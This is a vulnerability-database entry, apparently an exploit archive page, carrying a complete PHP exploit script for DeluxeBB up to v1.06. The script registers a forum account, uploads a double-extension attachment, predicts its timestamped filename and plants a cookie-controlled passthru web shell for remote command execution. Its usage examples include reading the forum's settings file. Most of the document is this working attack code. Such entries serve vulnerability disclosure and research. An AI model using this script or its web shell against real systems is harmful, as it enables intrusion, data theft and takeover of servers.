DeluxeBB <= v1.06 attachment mod_mime exploit

Credit: rgod
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "DeluxeBB <= v1.06 attachment mod_mime exploitrn"; echo "by rgod rgod<img src="/imgs/at.gif" border=0 align=middle>autistici.orgrn"; echo "site: http://retrogod.altervista.orgrn"; echo "tested & working against a fresh deluxebb installationrnrn"; if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to deluxebbrn"; echo "cmd: a shell commandrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /deluxebb/ cat ./../settings/info.phprn"; echo "php ".$argv[0]." localhost /deluxebb/ ls -la -p81rn"; echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rnrn"; die; } /*explaination: you can upload attachments with double extensions, ex.: test.php.php.rar file is renamed like this: test.php.php-1147772503.ext and copied to the files/ folder, as you can see, new filename is predictable..., numbers are the result of time() php function, you have just to synchronize clocks through Apache "Date" header... It seems that Apache mod_mime module considers double-extension files like this to be valid PHP files and runs the arbitrary code that has been uploaded, actually on most versions you can do somethign like this: http://[target]/[path]/files/test.php.php-1147772503.ext?cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } function greenwich_timestamp($response) { $temp=explode("Date: ",$response); $temp2=explode("rn",$temp[1]); $is_now=$temp2[0]; $temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]); $hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2]; $tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6', 'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12'); for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}} return mktime($hour,$min,$sec,$month,$day,$year); } function gmtime() { // Get GM offset. return time() - (int) date('Z'); } $host=$argv[1]; $path=$argv[2]; $cmd="";$port=80;$proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "step 0 -> Check if suntzu.php is already installedrn"; $packet ="GET ".$p."files/suntzu.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=".$cmd.";rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"56789")) { echo "Exploit succeeded..."; $temp=explode("56789",$html); die("rn".$temp[1]."rn"); } echo "step 0b -> Synchronize...rn"; $difftime=0; //Unin epoch time by Apache "Date:" response header //it carries GMT time... sending HEAD request $packet ="HEAD / HTTP/1.1rnHost: ".$host."rnConnection: Closernrn"; sendpacketii($packet); if ((eregi("Date: ",$html)) and ($proxy=='')) { $itstime=greenwich_timestamp($html); echo "target host Greenwich timestamp: ".$itstime."rn"; $mytime=gmtime(); echo "my greenwich timestamp: ".$mytime."rn"; $difftime= $itstime-$mytime; echo "difftime: ".$difftime."rn"; } else { echo "Unable to read "Date", assuming difftime = 0rn"; } echo "step 1 -> Register...rn"; srand(make_seed()); $anumber = rand(1,99999); $data="name=suntzu".$anumber; $data.="&pass=suntzu"; $data.="&pass2=suntzu"; $data.="&email=suntzu".$anumber.""; $data.="&hideemail=1"; $data.="&languagex=English"; $data.="&xthetimeoffset=2"; $data.="&xthedateformat=d-m-Y"; $data.="&xthetimeformat=24"; $data.="&submit=Register"; $packet ="POST ".$p."misc.php?sub=register HTTP/1.0rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="User-Agent: Googlebot/2.1rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $cookie=""; for ($i=1; $i<=count($temp)-1; $i++) { $temp2=explode(" ",$temp[$i]); $cookie.=" ".$temp2[0]; } if ($cookie=='') { die("Unable to register..."); } else { echo "cookie -> ".$cookie."rn"; } echo "step 2 -> Post a new thread with the evil attachment...rn"; $attachment=' <?php $fp=fopen("suntzu.php","w"); fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo 56789;passthru($_COOKIE[cmd]);echo 56789;?>"); fclose($fp); chmod("suntzu.php",777); ?>'; $data='-----------------------------7d6ee3a7074a Content-Disposition: form-data; name="subject" Sun-Tzu, Art of War -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="posticon" None -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="disablesmilies" 1 -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="fileupload"; filename="suntzu'.$anumber.'.php.php.rar" Content-Type: application/octet-stream '.$attachment.' -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="MAX_FILE_SIZE" 1048576 -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="what" ciao -----------------------------7d6ee3a7074a Content-Disposition: form-data; name="submit" Post -----------------------------7d6ee3a7074a-- '; $packet ="POST ".$p."newpost.php?sub=newthread&fid=1 HTTP/1.0rn"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074arn"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; $packet.=$data; $mytime=time() + $difftime; sendpacketii($packet); sleep(2); /* file is renamed in this way: ... $time = time(); //header.php, line 78 ... ... $saveit = $settings['attachdir'] . $filename . '-' . $time . '.' . 'ext'; //newpost.php, line 218-219 copy($fileupload['tmp_name'], $saveit); ... */ $predict_time= array ( $mytime, $mytime + 1, $mytime + 2, $mytime + 3, $mytime + 4, $mytime + 5, $mytime + 6 ); for ($i=0; $i<=count($predict_time)-1; $i++) { $a=3+$i; echo "step ".$a." -> trying with suntzu".$anumber.".php.php-".$predict_time[$i].".extrn"; $packet ="GET ".$p."files/suntzu".$anumber.".php.php-".$predict_time[$i].".ext HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $packet ="GET ".$p."files/suntzu.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=".$cmd.";rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"56789")) { echo "Exploit succeeded..."; $temp=explode("56789",$html); die("rn".$temp[1]."rn"); } } //if you are here... echo "Exploit failed..."; ?> original url:

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top